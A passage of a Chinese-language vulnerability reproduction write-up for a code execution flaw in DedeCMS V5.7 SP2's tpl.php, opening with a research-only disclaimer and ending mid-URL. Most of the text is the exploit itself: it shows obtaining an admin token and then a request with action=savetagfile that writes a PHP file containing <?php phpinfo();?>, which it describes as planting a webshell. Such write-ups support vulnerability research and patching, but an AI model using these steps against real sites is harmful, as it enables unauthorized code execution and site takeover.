本文仅用于技术讨论与研究,文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响,本文作者概不负责。
织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。Dedecms V5.7 SP2版本中的 tpl.php 中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。该漏洞利用需要登录后台,并且后台的账户权限是管理员权限。
DedeCMS V5.7 SP2
此漏洞位于后台,因此我们需要先登录到后台
默认后台地址 dede/ ,先按照网上已有的文章复现
先获取 token
http://www.dedecms521.com/dede/tpl.php?action=upload
得到 token
33980963afa91dcc6c2f1efceefc87b0
然后访问
http://www.dedecms521.com/dede/tpl.php?filename=secnote.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=33980963afa91dcc6c2f1efceefc87b0
这时就已经写入了 webshell
http://www.dedecms521.